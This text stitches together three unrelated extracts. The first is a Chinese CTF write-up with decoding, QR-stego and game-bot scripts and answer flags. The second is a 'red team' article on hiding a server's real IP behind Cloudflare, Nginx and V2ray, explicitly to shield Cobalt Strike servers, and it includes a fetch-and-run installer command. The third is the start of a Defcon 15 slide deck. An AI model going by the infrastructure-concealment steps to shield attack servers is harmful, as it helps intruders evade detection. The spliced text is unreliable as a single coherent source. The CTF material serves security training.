0x1B, 0x05, 0x49, 0x05, 0x48, 0x05, 0x4E, 0x05, 0x1D, 0x05, 0x12, 0x05, 0x4C, 0x05, 0x4E, 0x05, 0x1C, 0x05, 0x1A, 0x05, 0x13, 0x05, 0x57, 0x05, 0x2A, 0x05, 0x2A, 0x05 ] #print hex(key1 ^ key2 ^ key3 ^ key4) key = key1 + key2 + key3 + key4 i = 0 while i < 80: l[i] ^= (key&0xFF) l[i+1] ^= (key>>8) i += 2 print ''.join(map(chr,l)[::2]) 结果: 网络取证 3 流量分析 2 发现压缩包。然后将压缩包扣出来,发现需要密码。 然而这并不是密码。。。。。。。 然后发现 pass.txt,0rvWprrs0NOz9se9wLQ=,在线解密发现是乱 码。。。。。坑了好久,突然想起了小葵,然后试了下。果真= = 解密后发现一个少了 png 头的文件,补全后得到 flag 照片: 网络取证 4 Hack-Team 不想说什么了。。坑。。。。 挂载下镜像,然后提示梅花香自苦寒。。。。。默默想起强网杯,然后看 了下辉哥的 writeup——http://appleu0.sinaapp.com/?p=540,发现密码就是 meihuaxiangzikuhanlai。。。 分理出一个 pdf,一个 word。 然后试了好久都是说文件损坏,然而放到 mac 后。。。瞬间没爱了= = Flag{f6fdffe48c908deb0f4c3bd36c032e72} 密码&算法 密码算法分析 100 分的题目这么坑。。坑的我都要哭了。。。昨晚上从凌晨 2 点 50 到 5 点,。白天一上午。。。直接废了。 原理不难,其实就是一个映射,只是映射很繁琐。首先解三次 base64 和一 次莫斯,在解出培根密码,得到秘钥 HTBXPZIQWVURJSDMOKYAENCLFG。之后统计 出密文字符出现次数,[('O', 26), ('B', 25), ('G', 24), ('C', 23), ('T', 22), ('L', 21), ('X', 20), ('Z', 19), ('R', 18), ('W', 17), ('Q', 16), ('Y', 15), ('A', 14), ('I', 13), ('F', 12), ('J', 11), ('E', 10), ('N', 9), ('D', 8), ('S', 7), ('M', 6), ('V', 5), ('U', 4), ('K', 3), ('P', 2), ('H', 1)] ,然后根据典型密文推出明文密文对应关系。。。 OBGCTLXZRWQYAIFJENDSMVUKPH 密文 ETAONRISHDLFCMUGYPWBVKJXQZ 明文 HTBXPZIQWVURJSDMOKYAENCLFG 秘钥 然后发现明文密文秘钥都是 26 个字母各出现一次。如下: OBGCTLXZRWQYAIFJENDSMVUKPH 密文 ETAONRISHDLFCMUGYPWBVKJXQZ 明文 HTBXPZIQWVURJSDMOKYAENCLFG 秘钥 ABCDEFGHIJKLMNOPQRSTUVWXYZ 字母表 之后把明文按照 A->Z 的顺序排序,对应密文之后得到 OBGCTLXZRWQYAIFJENDSMVUKPH 密文 ABCDEFGHIJKLMNOPQRSTUVWXYZ 明文 GSAWOYJRXUVQITCNPLZBFMDKEH 密文排序 HTBXPZIQWVURJSDMOKYAENCLFG 秘钥 ABCDEFGHIJKLMNOPQRSTUVWXYZ 字母表 对应出如下规律: GSAWOYJRXUVQITCNPLZBFMDKEH 密文排序 HTBXPZIQWVURJSDMOKYAENCLFG 秘钥 hex(秘钥字母-‘A’)%2=0,秘钥转密文是+1 hex(秘钥字母-‘A’)%2=1,秘钥转密文是-1 之后就得到了 26 个映射关系。。。同样的方式。一比一对应密文,得到 flag LCHIKCDDQOYXEGGQ 密文 DONTWORRYBEHAPPY 明文 FPUKZEBWOSTVMGDHICQJNYLXRA 秘钥 ABCDEFGHIJKLMNOPQRSTUVWXYZ 字母表 所以 flag:DONTWORRYBEHAPPY 图片隐写 1 我第一个发现图片有问题的。。。为啥不给我加分 打开图片,发现在 jpg 后面有很多杂乱数据。。。提出来发现是一个去了 头的 rar。。。真是醉了。。。进去发现一大堆杂乱文件夹有东西还是加密 的。。。。只能看到一张图片。图片右键属性中有字符串。。base64 解密是乱 码想到那个流量分析的中文尝试中文解密得到密码四叶草安全。进去发现每个 文件都打不开,十六进制打开发现全是 01 序列。。。。想到了二维码,想到 appleU0 的那个图片隐写术,于是,按照文件夹顺序 000000,000001,000010 的 顺序提取。之后发现前面后面都是 0000000000000000000000000,然后发现一 行 37 个,一共 29 行,发现每行前四个后四个都是 0,删掉变成 29*29,去掉换 行变成空格,放入脚本跑出来二维码,扫描得到 flag Flag:X1@07Zu1Shu@1 附脚本: #!/usr/bin/env python import Image MAX = 29 pic = Image.new("RGB",(MAX, MAX)) str = "11111110010111110100001111111100000100001100000000010000011011101001 000111100100101110110111010000111101100101011101101110101010111100100 010111011000001000111110111110100000111111110101010101010101111111000 000001001101100010000000000011001110010010101101101000001110100010010 010010101110011100111110010010011111010010101111010111011000101010100 000010010110010010010111110110100010100001010010100011110010101100011 110110010101101011101100111001101100110100000001000010100101111100011 000000100000101010001111100010100100110010111011100100110110110010000 001011000101111110101101011110111101111111001000111111010100000000100 010011111100010001111111101110011011011010111001000001000001111001110 001001110111010000110011000111110100101110101110000100101100111101011 101010101011000100110000110000010011001000110001101010111111100101100 11111001000110" i=0 for y in range (0,MAX): for x in range (0,MAX): if(str[i] == '1'): pic.putpixel([x,y],(0, 0, 0)) else: pic.putpixel([x,y],(255,255,255)) i = i+1 pic.show() pic.save("flag.png") 图片隐写 2 打开发现一张大白(●—●),然后进去 binwalk 跑一下发现另一张图片, 手动抠出来发现另一个大白(●—●),然后发现是 tiff 的。重命名后纠结一下 想到 tiff 隐藏图层,本地 photoshop 打开之。。。发现 26 个隐藏图层。。每 个图层有 26*26 个英文字母。。。想到大白激活口令。。。统计一下,65 个逗 号 66 个数字。。。 据此推测是三个一组,所以 flag 应该是 22 组,之后就是组合问题了。。。 下午的时候尝试了几个没找到方法。。。晚上继续做。。。尝试所有之后找到 了 flag,每三个一组,第一组 19*9*10 代表 10 层第 19 列 9 行。。完全是倒序。 慢慢找,找到了 flag:FlAgIsSlYeCaOWeLCoMYOu 魔塔 AI 编写 这是道算法题... 刚开始理解错了,以为一次只能发一条指令呢... 根据题目所给文件的描述,服务器端提供了一个吃东西升级打怪的游戏( ̄工  ̄lll),最终的目标是到达标有”Y”的点,于是就可以根据题目提供的地图 不断上楼吃东西,然后回到 1 层打 boss... 脚本核心部分使用了 BFS 算法。 脚本: import socket, sys, os, time, struct __author__ = 'Marche147' # connect to TARGET = '127.0.0.1' PORT = 22031 BUFSIZE = 99999 def logtofile(buf): global log log.write(buf) log.write('\n---------------------------------------------------- ------\n') return class Character: def __init__(self, type, hp = 0, atk = 0, de = 0): if type == 'a': self.HP = 1000 self.ATK = 80 self.DEF = 60 elif type == 'b': self.HP = 100 self.ATK = 200 self.DEF = 100 elif type == 'c': self.HP = 1000 self.ATK = 300 self.DEF = 150 elif type == 'd': self.HP = 3000 self.ATK = 300 self.DEF = 250 else: self.HP = hp self.ATK = atk self.DEF = de return def battle(self, player): if player.ATK <= self.DEF: return 0 if self.ATK <= player.DEF and self.DEF <= player.ATK: return 1 turn = 0 while player.HP > 0 or self.HP > 0: if not turn: self.HP -= (player.ATK - self.DEF) else: player.HP -= (self.ATK - player.DEF) if turn == 0: turn = 1 else: turn = 0 if player.HP < 0: return 0 return 1 class GameHelper: def __init__(self): self.LV = 0 self.PLAYER = Character('P',1000,10,10) self.MAP = [] self.VISIT = [] self.THINGS = [] self.CUR_POS = (1,1) self.MAXX = 0 self.MAXY = 0 return def getmap(self): global s self.MAP = [] self.VISIT = [] self.THINGS = [] buf = s.recv(BUFSIZE) print buf lines = buf.split('\n') i = y = 0 for line in lines: if not line: # skip continue self.MAP.append([]) self.VISIT.append([]) y = 0 for c in line: if c == '|': self.MAXY = y + 1 break if c != '.' and c!= '#': self.THINGS.append({'thing':c,'pos':(i,y)}) if c == 'X': self.CUR_POS = (i,y) self.MAP[i].append(c) self.VISIT[i].append(0) y += 1 i += 1 self.MAXX = i print (self.MAXX,self.MAXY), self.CUR_POS # get status self.PLAYER.ATK = int(lines[6][31:37]) self.PLAYER.DEF = int(lines[8][31:37]) self.PLAYER.HP = int(lines[10][30:37]) print self.PLAYER.ATK, self.PLAYER.DEF, self.PLAYER.HP return def get_things(self): print self.THINGS return self.THINGS def try_return(self): global s pos = self.CUR_POS dirs = [(1,0),(-1,0),(0,1),(0,-1)] sendbuf = ['j','k','l','h'] sendbuf2 = ['k','j','h','l'] for i in range(4): new_x = pos[0] + dirs[i][0] new_y = pos[1] + dirs[i][1] if self.MAP[new_x][new_y] != '#' and new_x > 0 and new_y > 0 and new_x < self.MAXX and new_y < self.MAXY: s.send(sendbuf[i]) logtofile(s.recv(BUFSIZE)) s.send(sendbuf2[i]) self.getmap() return 1 return 0 def gotopos(self, pos): q = [] q.append({'pos':self.CUR_POS, 'prev':0}) for i in range(len(self.VISIT)): for j in range(len(self.VISIT[i])): self.VISIT[i][j] = 0 self.VISIT[self.CUR_POS[0]][self.CUR_POS[1]] = 1 dirs = [(1,0),(-1,0),(0,1),(0,-1)] while q: first = q.pop(0) for dir in dirs: new_x = first['pos'][0] + dir[0] new_y = first['pos'][1] + dir[1] if self.MAP[new_x][new_y] != '#' and new_x > 0 and new_y > 0 and new_x < self.MAXX and new_y < self.MAXY and not self.VISIT[new_x][new_y]: if new_x == pos[0] and new_y == pos[1]: # trace back and send cmdstr = '' dx = new_x - first['pos'][0] dy = new_y - first['pos'][1] if dx == -1 and dy == 0: cmdstr = 'k' + cmdstr elif dx == 0 and dy == -1: cmdstr = 'h' + cmdstr elif dx == 1 and dy == 0: cmdstr = 'j' + cmdstr elif dx == 0 and dy == 1: cmdstr = 'l' + cmdstr while isinstance(first['prev'],dict): dx = first['pos'][0] - first['prev']['pos'][0] dy = first['pos'][1] - first['prev']['pos'][1] if dx == -1 and dy == 0: cmdstr = 'k' + cmdstr elif dx == 0 and dy == -1: cmdstr = 'h' + cmdstr elif dx == 1 and dy == 0: cmdstr = 'j' + cmdstr elif dx == 0 and dy == 1: cmdstr = 'l' + cmdstr first = first['prev'] print cmdstr self.docmd(cmdstr) return 1 if self.MAP[new_x][new_y] == '/' or self.MAP[new_x][new_y] == '\\': # stairs continue q.append({'pos':(new_x,new_y),'prev':first}) self.VISIT[new_x][new_y] = 1 print 'No way we can reach there!' return 0 def docmd(self, cmdstring): global s ''' for i in range(len(cmdstring)): s.send(cmdstring[i]) if i == len(cmdstring) - 1: self.getmap() else: logtofile(s.recv(BUFSIZE)) # no need to get this ''' s.send(cmdstring) self.getmap() return def go_down(self): global s s.send('j') self.getmap() def go_up(self): global s s.send('k') self.getmap() def go_right(self): global s s.send('l') self.getmap() def go_left(self): global s s.send('h') self.getmap() log = open('log.txt','w') game = GameHelper() s = socket.socket(socket.AF_INET,socket.SOCK_STREAM,socket.IPPROTO_TCP) s.connect((TARGET,PORT)) game.getmap() notgot = 0 movedon = 0 canwin = 0 movedup = 0 while(1): moved = 0 things = game.get_things() A = D = P = [] Goal = Downstair = Upstair = (0,0) if game.PLAYER.HP >= 10000: print 'NOW YOU CAN BEAT THE GAME!' canwin = 1 for c in things: if c['thing'] == 'A': A.append(c['pos']) elif c['thing'] == 'D': D.append(c['pos']) elif c['thing'] == 'P': P.append(c['pos']) elif c['thing'] == '/': Upstair = c['pos'] elif c['thing'] == '\\': Downstair = c['pos'] elif c['thing'] == 'Y': Goal = c['pos'] if canwin and Goal != (0,0): game.gotopos(Goal) print s.recv(BUFSIZE) if len(A) and not moved: #if raw_input('go downstair to search for A or D?(y/n)') == 'y': # if game.try_return(): # moved = 1 if game.gotopos(A[0]) and not moved: moved = 1 else: notgot = 1 elif len(D) and not moved: #if raw_input('go downstair to search for A or D?(y/n)') == 'y': # if game.try_return(): # moved = 1 if game.gotopos(D[0]) and not moved: moved = 1 else: notgot = 1 elif len(P) and not moved: #if raw_input('go downstair to search for A or D?(y/n)') == 'y': # if game.try_return(): # moved = 1 if game.gotopos(P[0]) and not moved: moved = 1 else: notgot = 1 #elif len(A)+len(D)+len(P) == 0 and not moved: # if game.gotopos(Upstair): # moved = 1 print Downstair, Upstair if not moved: if (notgot and movedon) or canwin: #or (raw_input('go downstair?(y/n)') == 'y' and Downstair != (0,0)): notgot = movedon = 0 if Downstair == (0,0): game.try_return() else: if game.gotopos(Downstair) == 0: game.gotopos(Upstair) elif len(A)+len(D)+len(P) == 0 or notgot or movedup:# and raw_input('go upstairs?(y/n)') == 'y': movedup = 0 if notgot: movedon = 1 if Upstair == (0,0): game.try_return() else: if game.gotopos(Upstair) == 0: game.gotopos(Downstair) elif raw_input('goto specified pos?(y/n)') == 'y': x,y = map(int,raw_input('input pos x,y:').split(',')) game.gotopos((x,y)) else: b = raw_input('chose a position (wsad)') if b == 'w': game.go_up(); elif b == 's': game.go_down(); elif b == 'a': game.go_left(); elif b == 'd': game.go_right() s.close() 最终结果: 逆向破解 逆向破解 1 Ida 中从定位到那几个 base64 加密的字符串后,看到下面有个 cmp 函数,于是 在 0x401735 下断点,内存中出现如下字符串 0040172B . 68 DC304000 push mfcEncry.004030DC ; ASCII "HOWMP 半块西瓜皮 hehe" 输入得到结果,如下图 Flag:06d2ba96e3d4c203b29def25f2710d42 逆向破解 3 大概是推箱子游戏的变种,挺好玩的,玩了 10 分钟过去了 规则,把 8 个箱子推至各个出口(边界上的 0)即胜利。 推一个箱子只能推出去或者推到非 0 的地方,每一步的走法如下 1, 1, 0, 1, 1, 1, 0, 1, 1 1, 0, 0, 0, 0, 0, 0, 0, 1 1, 0, 0, 0, 0, 12, 22, 0, 1 1, 32, 0, 0, 0, 42, 0, 0, 1 0, 0, 0, 0, 0, 0, 0, 0, 0 1, 0, 0, 52, 0, 0, 0, 0, 1 0, 0, 0, 0, 0, 0, 62, 0, 0 1, 72, 0, 0, 82, 0, 0, 0, 1 1, 1, 0, 1, 1, 1, 1, 0, 1 8184 1, 1, 0, 1, 1, 1, 0, 1, 1 1, 0, 0, 0, 0, 0, 0, 0, 1 1, 0, 0, 0, 0, 12, 22, 0, 1 1, 32, 0, 0, 0, 42, 0, 0, 1 0, 0, 0, 0, 0, 0, 0, 0, 0 1, 0, 0, 52, 0, 0, 0, 0, 1 0, 0, 0, 0, 0, 0, 62, 0, 0 1, 72, 0, 0, 0, 0, 0, 0, 1 1, 1, 1, 1, 1, 1, 1, 0, 1 6462 1, 1, 0, 1, 1, 1, 0, 1, 1 1, 0, 0, 0, 0, 0, 0, 0, 1 1, 0, 0, 0, 0, 12, 22, 0, 1 1, 32, 0, 0, 0, 42, 0, 0, 1 0, 0, 0, 0, 0, 0, 0, 0, 0 1, 0, 0, 52, 0, 0, 0, 0, 1 0, 0, 0, 0, 0, 0, 0, 0, 0 1, 72, 0, 0, 0, 0, 0, 62, 1 1, 1, 1, 1, 1, 1, 1, 0, 1 4143 1, 1, 1, 1, 1, 1, 0, 1, 1 1, 0, 0, 0, 0, 0, 0, 0, 1 1, 0, 0, 0, 0, 12, 22, 0, 1 1, 32, 0, 0, 0, 0, 0, 0, 1 0, 0, 0, 0, 0, 0, 0, 0, 0 1, 0, 0, 52, 0, 0, 0, 0, 1 0, 0, 0, 0, 0, 0, 0, 0, 0 1, 72, 0, 0, 0, 0, 0, 62, 1 1, 1, 1, 1, 1, 1, 1, 0, 1 23 1, 1, 1, 1, 1, 1, 1, 1, 1 1, 0, 0, 0, 0, 0, 0, 0, 1 1, 0, 0, 0, 0, 12, 0, 0, 1 1, 32, 0, 0, 0, 0, 0, 0, 1 0, 0, 0, 0, 0, 0, 0, 0, 0 1, 0, 0, 52, 0, 0, 0, 0, 1 0, 0, 0, 0, 0, 0, 0, 0, 0 1, 72, 0, 0, 0, 0, 0, 62, 1 1, 1, 1, 1, 1, 1, 1, 0, 1 513473 1, 1, 1, 1, 1, 1, 1, 1, 1 1, 0, 0, 0, 0, 0, 0, 0, 1 1, 0, 0, 0, 0, 12, 0, 0, 1 1, 0, 0, 0, 0, 0, 0, 0, 1 0, 32, 0, 0, 0, 0, 0, 0, 0 1, 52, 0, 0, 0, 0, 0, 0, 1 0, 72, 0, 0, 0, 0, 0, 0, 0 1, 0, 0, 0, 0, 0, 0, 62, 1 1, 1, 1, 1, 1, 1, 1, 0, 1 3171 1, 1, 1, 1, 1, 1, 1, 1, 1 1, 0, 0, 0, 0, 0, 0, 0, 1 1, 0, 0, 0, 0, 12, 0, 0, 1 1, 0, 0, 0, 0, 0, 0, 0, 1 1, 0, 0, 0, 0, 0, 0, 0, 0 1, 52, 0, 0, 0, 0, 0, 0, 1 1, 0, 0, 0, 0, 0, 0, 0, 0 1, 0, 0, 0, 0, 0, 0, 62, 1 1, 1, 1, 1, 1, 1, 1, 0, 1 1252 1, 1, 1, 1, 1, 1, 1, 1, 1 1, 0, 0, 0, 0, 0, 0, 0, 1 1, 0, 0, 0, 0, 0, 0, 12, 1 1, 0, 0, 0, 0, 0, 0, 0, 1 1, 0, 0, 0, 0, 0, 0, 0, 0 1, 0, 0, 0, 0, 0, 0, 52, 1 1, 0, 0, 0, 0, 0, 0, 0, 0 1, 0, 0, 0, 0, 0, 0, 62, 1 1, 1, 1, 1, 1, 1, 1, 0, 1 14 1, 1, 1, 1, 1, 1, 1, 1, 1 1, 0, 0, 0, 0, 0, 0, 0, 1 1, 0, 0, 0, 0, 0, 0, 0, 1 1, 0, 0, 0, 0, 0, 0, 0, 1 1, 0, 0, 0, 0, 0, 0, 12, 0 1, 0, 0, 0, 0, 0, 0, 52, 1 1, 0, 0, 0, 0, 0, 0, 0, 0 1, 0, 0, 0, 0, 0, 0, 62, 1 1, 1, 1, 1, 1, 1, 1, 0, 1 12 1, 1, 1, 1, 1, 1, 1, 1, 1 1, 0, 0, 0, 0, 0, 0, 0, 1 1, 0, 0, 0, 0, 0, 0, 0, 1 1, 0, 0, 0, 0, 0, 0, 0, 1 1, 0, 0, 0, 0, 0, 0, 0, 1 1, 0, 0, 0, 0, 0, 0, 52, 1 1, 0, 0, 0, 0, 0, 0, 0, 0 1, 0, 0, 0, 0, 0, 0, 62, 1 1, 1, 1, 1, 1, 1, 1, 0, 1 54 1, 1, 1, 1, 1, 1, 1, 1, 1 1, 0, 0, 0, 0, 0, 0, 0, 1 1, 0, 0, 0, 0, 0, 0, 0, 1 1, 0, 0, 0, 0, 0, 0, 0, 1 1, 0, 0, 0, 0, 0, 0, 0, 1 1, 0, 0, 0, 0, 0, 0, 0, 1 1, 0, 0, 0, 0, 0, 0, 52, 0 1, 0, 0, 0, 0, 0, 0, 62, 1 1, 1, 1, 1, 1, 1, 1, 0, 1 5264 1, 1, 1, 1, 1, 1, 1, 1, 1 1, 0, 0, 0, 0, 0, 0, 0, 1 1, 0, 0, 0, 0, 0, 0, 0, 1 1, 0, 0, 0, 0, 0, 0, 0, 1 1, 0, 0, 0, 0, 0, 0, 0, 1 1, 0, 0, 0, 0, 0, 0, 0, 1 1, 0, 0, 0, 0, 0, 0, 0, 1 1, 0, 0, 0, 0, 0, 0, 0, 1 1, 1, 1, 1, 1, 1, 1, 1, 1 81846462414323513473317112521412545264
pdf
2021/7/31 红队必备技能之隐蔽的技巧 https://mp.weixin.qq.com/s/428TFr-dyK61y5dZSzGDUw 1/19 红队必备技能之隐蔽的技巧 收录于话题 #技术备存 11 #漏洞 13 #僵尸网络 9 #CTF 9 #AWD 7 正文共:4951字 27图 预计阅读时间:13分钟 (1)平时在做安全测试时,相信很多小伙伴在建立Cobalt Strike服务端时都是直接使用IP地址 后进行直连。之前也爆出过Cobalt Strike“空格”特征,可以通过构造规则,针对全球的具有这类 特征的HTTP响应进行服务器抓取,难道要频繁更换IP吗?更新版本就不会出现新的特征吗? 相关信息:https://github.com/fox-it/cobaltstrike-extraneous-space (2)每当各种重大活动时经常会出现大面积SS/SSR通信异常,又要频繁更换IP吗?搬瓦工的 Just My Socks提供自动监测并自动换IP功能,在众多小伙伴的使用下还会香吗? (3)基于以上2个问题及其他多种因素,并有了产生此次试验的目的 - 备注:本方式仅作为抛砖引玉,看官请轻拍~ - 更新于2020-01-13 - 版本2.0 一:测试环境 + 系统版本:Ubuntu 18.04.3 LTS + V2ray版本 原创 Kobe Fans 小生观察室 2020-06-11 2021/7/31 红队必备技能之隐蔽的技巧 https://mp.weixin.qq.com/s/428TFr-dyK61y5dZSzGDUw 2/19   - 客户端:v2rayN 2.42   - 服务端:v4.22.1 + Nginx版本:nginx/1.17.7 + VPS 1H1G Part 1.1 测速 选择延迟率相对较低的VPS,测试方法: 在 Ubuntu、Debian、Fedora、CentOS、RHEL上一样可以执行 Part 1.2 修改系统时区 V2ray相比SS更需要时间上的准确性,客户端和服务端时差缩小至30s内 rm /etc/localtime ln -s /usr/share/zoneinfo/Asia/Shanghai /etc/localtime 二:域名注册 Part 2.1 免费域名 + [freenom](https://www.freenom.com) root@test:/# curl -s https://raw.githubusercontent.com/sivel/speedtest-cli/master/speedtes Retrieving speedtest.net configuration... Testing from Google (8.8.8.8)... Retrieving speedtest.net server list... Selecting best server based on ping... Hosted by Ixnium Technologies (Tokyo) [13.11 km]: 1.247 ms Testing download speed.................................................................... Download: 6666.57 Mbit/s Testing upload speed...................................................................... Upload: 6666.11 Mbit/s 2021/7/31 红队必备技能之隐蔽的技巧 https://mp.weixin.qq.com/s/428TFr-dyK61y5dZSzGDUw 3/19 此处以免费的域名做案例演示 Part 2.2 收费域名 尽可能不使用国内的域名商 + [namecheap](https://www.namecheap.com/) + [阿里云万网](https://wanwang.aliyun.com/) + [腾讯云DNSPod](https://dnspod.cloud.tencent.com/) + [namesilo](https://www.namesilo.com/) + [godaddy](https://sg.godaddy.com/zh) Part 2.3 注册方法 先注册一个freenom的账号登陆上去,点击菜单的 Services ,选择 Register a New Domain 选择一个域名点击 Get it now 完成后点击 Checkout 进入下一步 2021/7/31 红队必备技能之隐蔽的技巧 https://mp.weixin.qq.com/s/428TFr-dyK61y5dZSzGDUw 4/19 选择免费的12个月期限,点击 Continue 进行下一步 购物车信息,点击 Complete Order 注册成功生成ID号,并返回 My Domains 可查看到注册成功后的域名 2021/7/31 红队必备技能之隐蔽的技巧 https://mp.weixin.qq.com/s/428TFr-dyK61y5dZSzGDUw 5/19 失败的效果如下所示 >小技巧: + 注册使用的IP和访问网站使用的IP需在同一个地区或同一个IP,不然会出现注册不成功的情况! 2021/7/31 红队必备技能之隐蔽的技巧 https://mp.weixin.qq.com/s/428TFr-dyK61y5dZSzGDUw 6/19 三:域名配合Cloudflare解析 Part 3.1 注册并登陆 需要先注册一个Cloudflare的账号并登陆, 注册完成后登进入控制台,点击 Add a Site 按钮添 加一个站点 Part 3.2 免费计划 选择一个计划,这里我们选择第一个免费的就行了,选择完后点击 Confirm plan Part 3.3 CloudFlare添加A记录 + 网站经常性会自动断开登陆状态导致购物车无域名的情况,需要手速快或删除Cookie信息后再注册即可! + 如果是第一次注册,在结算页面的信息栏显示红色部分需要如实填写,其他的随便填,最关键的是地区, + 如果觉得免费的域名注册方式比较麻烦或不适合,可自行购买其他厂商的xyz域名相对便宜【0.99$】 2021/7/31 红队必备技能之隐蔽的技巧 https://mp.weixin.qq.com/s/428TFr-dyK61y5dZSzGDUw 7/19 点击 Add Record 按钮添加2条A记录,Value指向VPS的IP,点击 Proxy status 栏中的云朵, 让其变成灰色( 本阶段因IP未被墙所以暂时选择灰色,如果IP被强可以选择橙色,即可复活被墙IP达到隐 藏真实IP的目的 ),完成后点击 Continue 按钮继续下一步操作 Part 3.4 修改域名商DNS记录 此时会提示你将域名的DNS解析到Cloudflare,其中有2个 Nameserver 是需要用到的 这里需要重新到freenom修改下DNS,点击 Services ,选择 My Domains ,找到之前注册的域 名,点击右侧的 Manage Domain 2021/7/31 红队必备技能之隐蔽的技巧 https://mp.weixin.qq.com/s/428TFr-dyK61y5dZSzGDUw 8/19 点 击 Management Tools 选 择 Nameservers , 选 择 第 二 个 选 项 自 定 义 , 填 写 上 面 的 2 个 Nameserver ,点击 Change Nameservers 保存 Part 3.5 等待解析完成 全部修改完毕之后,回到Cloudflare,点击 Done, check nameservers ,如果跳转到控制台页 面就表示成功了,如果没有就需要耐心等待一会,解析需要一定的时间,一般几分钟就解析好 了。 Part 3.6 开启端到端加密 2021/7/31 红队必备技能之隐蔽的技巧 https://mp.weixin.qq.com/s/428TFr-dyK61y5dZSzGDUw 9/19 四:安装Nginx 参考地址:https://nginx.org/en/linux_packages.html#Ubuntu Part 4.1 更新源并安装 sudo apt install curl gnupg2 ca-certificates lsb-release echo "deb http://nginx.org/packages/mainline/ubuntu `lsb_release -cs` nginx" \     | sudo tee /etc/apt/sources.list.d/nginx.list curl -fsSL https://nginx.org/keys/nginx_signing.key | sudo apt-key add - sudo apt-key fingerprint ABF5BD827BD9BF62 sudo apt update sudo apt install nginx 2021/7/31 红队必备技能之隐蔽的技巧 https://mp.weixin.qq.com/s/428TFr-dyK61y5dZSzGDUw 10/19 Part 4.2 修改默认配置文件 默认路径地址:/etc/nginx/conf.d/default.conf 修改并重启Nginx服务 展示页面 2021/7/31 红队必备技能之隐蔽的技巧 https://mp.weixin.qq.com/s/428TFr-dyK61y5dZSzGDUw 11/19 五:安装HTTPS证书 Let's Encrypt 官 方 推 荐 了 Certbot ACME 客 户 端 , 所 以 本 次 基 于 Certbot 进 行 设 置 Let's Encrypt证书并自动续期 5.1 添加仓库 sudo add-apt-repository ppa:certbot/certbot 5.2 安装Certbot的Nginx软件包 sudo apt install python-certbot-nginx 5.3 验证配置是否正确 sudo nginx -t 5.4 重启Nginx sudo systemctl reload nginx 5.5 获取证书 sudo certbot --nginx -d www.kobefans12345678.tk 参考地址: 1:https://www.digitalocean.com/community/tutorials/how-to-secure-nginx-with-let-s-encrypt- 2:https://certbot.eff.org/lets-encrypt/ubuntubionic-nginx 2021/7/31 红队必备技能之隐蔽的技巧 https://mp.weixin.qq.com/s/428TFr-dyK61y5dZSzGDUw 12/19 2021/7/31 红队必备技能之隐蔽的技巧 https://mp.weixin.qq.com/s/428TFr-dyK61y5dZSzGDUw 13/19 2021/7/31 红队必备技能之隐蔽的技巧 https://mp.weixin.qq.com/s/428TFr-dyK61y5dZSzGDUw 14/19 5.6 自动续订 sudo certbot renew --dry-run 5.7 设置PCI DSS合规及HSTS PCI DSS合规+HSTS仅对对证书评级要求较高的用户进行添加,不是必须项 修改letsencrypt的配置信息 vim /etc/letsencrypt/options-ssl-nginx.conf 添加以下信息 ssl_protocols TLSv1.1 TLSv1.2 TLSv1.3; add_header Strict-Transport-Security "max-age=31536000; includeSubDomains" always; 重启服务即可 六:安装V2ray服务端 Part 6.1 生成随机端口及UUID号 配置和部署的方式建议按照官方的说明进行下载及配置,第三方网站存在很多后门捆版的情况需自行检验。 参考地址: https://www.v2ray.com/chapter_00/install.html) bash <(curl -L -s https://install.direct/go.sh) 2021/7/31 红队必备技能之隐蔽的技巧 https://mp.weixin.qq.com/s/428TFr-dyK61y5dZSzGDUw 15/19 Part 6.2 修改V2ray默认配置文件 vim /etc/v2ray/config.json {   "inbounds": [     {       "port": 23846,       "listen":"127.0.0.1",       "protocol": "vmess",       "settings": {         "clients": [           {             "id": "bc0cd645-9fb1-46e3-ba70-ea5b7bed9961",             "alterId": 64           }         ]       },       "streamSettings": {         "network": "ws",         "wsSettings": {         "path": "/ray" 2021/7/31 红队必备技能之隐蔽的技巧 https://mp.weixin.qq.com/s/428TFr-dyK61y5dZSzGDUw 16/19         }       }     }   ],   "outbounds": [     {       "protocol": "freedom",       "settings": {}     }   ]   } 重启服务 6.3 设置开机启动 systemctl enable v2ray 6.4 开启BBR echo "net.core.default_qdisc=fq" >> /etc/sysctl.conf echo "net.ipv4.tcp_congestion_control=bbr" >> /etc/sysctl.conf sysctl -p sysctl net.ipv4.tcp_available_congestion_control lsmod | grep bbr 也可以魔改BBR,根据需求来自行设置 七:网站与V2ray并存 Part 7.1 新增代理 对Nginx默认配置文件进行修改,在内容中添加以下信息 location /ray {     proxy_pass       http://127.0.0.1:23846;     proxy_redirect             off;     proxy_http_version         1.1;     proxy_set_header Upgrade $http_upgrade;     proxy_set_header Connection "upgrade";     proxy_set_header Host $http_host;     } 2021/7/31 红队必备技能之隐蔽的技巧 https://mp.weixin.qq.com/s/428TFr-dyK61y5dZSzGDUw 17/19 修改完成后重启服务即可 Part 7.2 设置客户端 建议选择用户量多且官方推荐的客户端 参考地址:https://github.com/2dust/v2rayN 新建或添加【VMess】服务器 再开启HTTP搭理模式即可 最终效果如下: 2021/7/31 红队必备技能之隐蔽的技巧 https://mp.weixin.qq.com/s/428TFr-dyK61y5dZSzGDUw 18/19 喜欢此内容的人还喜欢 八:总结 此次测试仅做隐藏真实IP地址、更方便的扶墙及环境配置部署说明,后续还可以结合Cobalt Strike插件或其他技巧进行更加隐蔽的测试方式。Cobalt Strike安装部署不在本次测试范围内, 可自行谷歌~ 扫描二维码 获取更多精彩 小生观察室 收录于话题 #技术备存·11个 上一篇 Ubuntu下利用SoftEther部署L2TP 下一篇 新版VMware之MacOS系统爬坑记 小生观察室 树不子 黑帽SEO实战之目录轮链批量生成百万页面 她装什么穷人
pdf
Defcon15 August 3-5, 2007 at the Riviera in Las Vegas A Journalist A Journalist’’s Perspective on Security s Perspective on Security Research Research Peter Berghammer Peter Berghammer Defcon 15; Riviera, Las Vegas Defcon 15; Riviera, Las Vegas Friday August 3, 2007 Friday August 3, 2007 Day 1, Track 4 Day 1, Track 4 17:00 17:00 –– 17:50 17:50 (05:00 (05:00--05:50 pm) 05:50 pm) Defcon15 August 3-5, 2007 at the Riviera in Las Vegas About me About me Peter Berghammer is the owner of a number of companies including Peter Berghammer is the owner of a number of companies including:: •• Copernio: an aerospace and defense contractor Copernio: an aerospace and defense contractor •• Future Formats: a CE research and analysis company Future Formats: a CE research and analysis company •• Tunitas Creek Ventures: a VC firm in the web 2.0 arena Tunitas Creek Ventures: a VC firm in the web 2.0 arena Additionally he writes (or has written for): Additionally he writes (or has written for): •• Dealerscope: a monthly column covering politics, economics, and Dealerscope: a monthly column covering politics, economics, and corporate corporate ethics ethics •• MediaLine: a monthly column covering security 